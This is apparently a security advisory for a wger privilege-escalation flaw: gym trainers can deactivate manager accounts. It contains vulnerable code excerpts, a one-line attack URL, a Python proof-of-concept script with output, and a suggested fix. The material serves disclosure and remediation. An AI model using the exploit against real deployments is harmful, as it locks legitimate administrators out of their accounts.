CVE-2026-46434: wger: Trainer Privilege Escalation - Improper Privilege Management
Summary
A user with only the gymtrainer permission can deactivate any account in the same gym, including gymmanager and generalgymmanager accounts. The UserDeactivateView grants access to anyone holding any one of gym.managegym, gym.managegyms, or gym.gymtrainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.
Details
UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:
python permissionrequired = ('gym.managegym', 'gym.managegyms', 'gym.gymtrainer')
WgerMultiplePermissionRequiredMixin (file: wger/utils/genericviews.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:
python class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin): def haspermission(self): for permission in self.getpermissionrequired(): if self.request.user.hasperm(permission): return True # <-- ANY one permission is enough return False
The dispatch() method only verifies same-gym membership:
python def dispatch(self, request, args, kwargs): edituser = getobjector404(User, pk=self.kwargs['pk']) if ( request.user.hasperm('gym.managegym') or request.user.hasperm('gym.gymtrainer') ) and edituser.userprofile.gymid != request.user.userprofile.gymid: return HttpResponseForbidden() # NO check: is the target user more privileged than the requester? return super().dispatch(request, args, kwargs)
There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).
An additional contributing factor: getpermissionlist() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.
PoC
Prerequisites
- A gym with at least two users: one with gymmanager role (victim) and one with gymtrainer role (attacker) - Both users belong to the same gym
Attack Steps
As the trainer, simply visit: GET /en/user/<manageruserid>/deactivate
The manager's account is immediately set to isactive = False. The manager can no longer log in.
Proof of Concept Script
python #!/usr/bin/env python3 """ PoC: Trainer -> Manager Privilege Escalation (Account Deactivation) Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-269: Improper Privilege Management
Usage: python3 poc.py http://localhost:8000 """
import requests import sys import re
if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASEURL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1)
BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2"
MANAGERUSER = "gymmanagerpoc" MANAGERPASS = "Manager!Poc!2025" TRAINERUSER = "eviltrainerpoc" TRAINERPASS = "Trainer!Poc!2025"
BANNER = """ ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== """ print(BANNER)
---- Helper ---- def apilogin(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.statuscode == 200: return r.json().get("token") return None
def apiheaders(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
---- Setup via Django ORM (must run inside container) ----
import os, django os.environ['DJANGOSETTINGSMODULE'] = 'settings.main' sys.path.insert(0, '/home/wger/src') django.setup()
from django.contrib.auth.models import User, Group from wger.gym.models import Gym
Ensure permission groups exist for name in ['gymmember', 'gymtrainer', 'gymmanager', 'generalgymmanager']: Group.objects.getorcreate(name=name)
Create gym gym, = Gym.objects.getorcreate(name="PoC Test Gym") print(f"[] Gym: {gym.name} (id={gym.id})")
Create manager (the VICTIM) manager, created = User.objects.getorcreate( username=MANAGERUSER, defaults={"isactive": True} ) if created: manager.setpassword(MANAGERPASS) manager.save() manager.userprofile.gym = gym manager.userprofile.save() manager.groups.clear() manager.groups.add(Group.objects.get(name='gymmanager')) manager.isactive = True manager.save() print(f"[] Manager (victim): {manager.username} (id={manager.id})") print(f" Groups: {[g.name for g in manager.groups.all()]}") print(f" isactive: {manager.isactive}")
Create trainer (the ATTACKER) trainer, created = User.objects.getorcreate( username=TRAINERUSER, defaults={"isactive": True} ) if created: trainer.setpassword(TRAINERPASS) trainer.save() trainer.userprofile.gym = gym trainer.userprofile.save() trainer.groups.clear() trainer.groups.add(Group.objects.get(name='gymtrainer')) print(f"[] Trainer (attacker): {trainer.username} (id={trainer.id})") print(f" Groups: {[g.name for g in trainer.groups.all()]}")
---- 1. Verify manager is active BEFORE attack ----
manager.refreshfromdb() print(f"\n[] Manager isactive BEFORE attack: {manager.isactive}") assert manager.isactive, "Manager should be active before test"
---- 2. ATTACK: Trainer deactivates manager ----
print(f"\n{'='65}") print(f" ATTACK: Trainer deactivating gym manager account") print(f"{'='65}")
from django.test import Client c = Client() c.forcelogin(trainer) resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True) print(f"\n GET /en/user/{manager.id}/deactivate") print(f" (Logged in as: {TRAINERUSER} - gymtrainer only)") print(f" Response: HTTP {resp.statuscode}")
---- 3. VERIFY ----
print(f"\n{'='65}") print(f" VERIFICATION") print(f"{'='65}")
manager.refreshfromdb() print(f"\n Manager isactive AFTER attack: {manager.isactive}")
if not manager.isactive: print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gymtrainer successfully deactivated a gymmanager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+ """) manager.isactive = True manager.save() print(" [+] Cleanup: Manager re-activated") else: print("\n Manager is still active - NOT vulnerable")
Proof of Concept Output
===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management =====================================================================
[] Gym: PoC Test Gym (id=2) [] Manager (victim): gymmanagerpoc (id=4) Groups: ['gymmanager'] isactive: True [] Trainer (attacker): eviltrainerpoc (id=5) Groups: ['gymtrainer']
[] Manager isactive BEFORE attack: True
================================================================= ATTACK: Trainer deactivating gym manager account =================================================================
Trainer login: HTTP 200 GET http://localhost/en/user/4/deactivate (Logged in as: eviltrainerpoc - gymtrainer only) Response: HTTP 200
================================================================= VERIFICATION =================================================================
Manager isactive AFTER attack: False
+----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gymtrainer successfully deactivated a gymmanager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+
[+] Cleanup: Manager re-activated
Impact
1. Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions. 2. Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a generalgymmanager (superadmin) or a Django superuser manually re-activates their accounts. 3. Abuse Chain: Since getpermissionlist() always includes 'trainer' in assignable roles, any manager can unknowingly create the account that will later lock them out.
Fix
Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():
python File: wger/core/views/user.py, inside dispatch() of both views
edituser = getobjector404(User, pk=self.kwargs['pk'])
Trainers must not deactivate/activate managers or other trainers if request.user.hasperm('gym.gymtrainer') and not ( request.user.hasperm('gym.managegym') or request.user.hasperm('gym.managegyms') ): if ( edituser.hasperm('gym.managegym') or edituser.hasperm('gym.managegyms') or edituser.hasperm('gym.gymtrainer') ): return HttpResponseForbidden()
Other sources
wger is a free, open-source workout and fitness manager. Prior to version 2.6, a user with only the gymtrainer permission can deactivate any account in the same gym, including gymmanager and generalgymmanager accounts. The UserDeactivateView grants access to anyone holding any one of gym.managegym, gym.managegyms, or gym.gymtrainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. Version 2.6 fixes the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
wgerto a version that resolves this vulnerability.Fixed in 2.6
Event History
Frequently Asked Questions
Which users can exploit this issue?
Any authenticated user who has the gym_trainer permission can exploit it. The permission check uses OR logic, so gym_trainer alone is sufficient even without gym.manage_gym or gym.manage_gyms.
Which accounts can be targeted?
The attacker can deactivate accounts that belong to the same gym, including users with gym_manager and general_gym_manager roles. The affected view checks same-gym membership but does not enforce a privilege hierarchy.
How can I determine whether my deployment is exposed?
Review access to UserDeactivateView and the implementation of WgerMultiplePermissionRequiredMixin. The deployment is exposed if gym.gym_trainer is accepted as one of the permissions for that view and no check prevents a trainer from deactivating higher-privileged users in the same gym.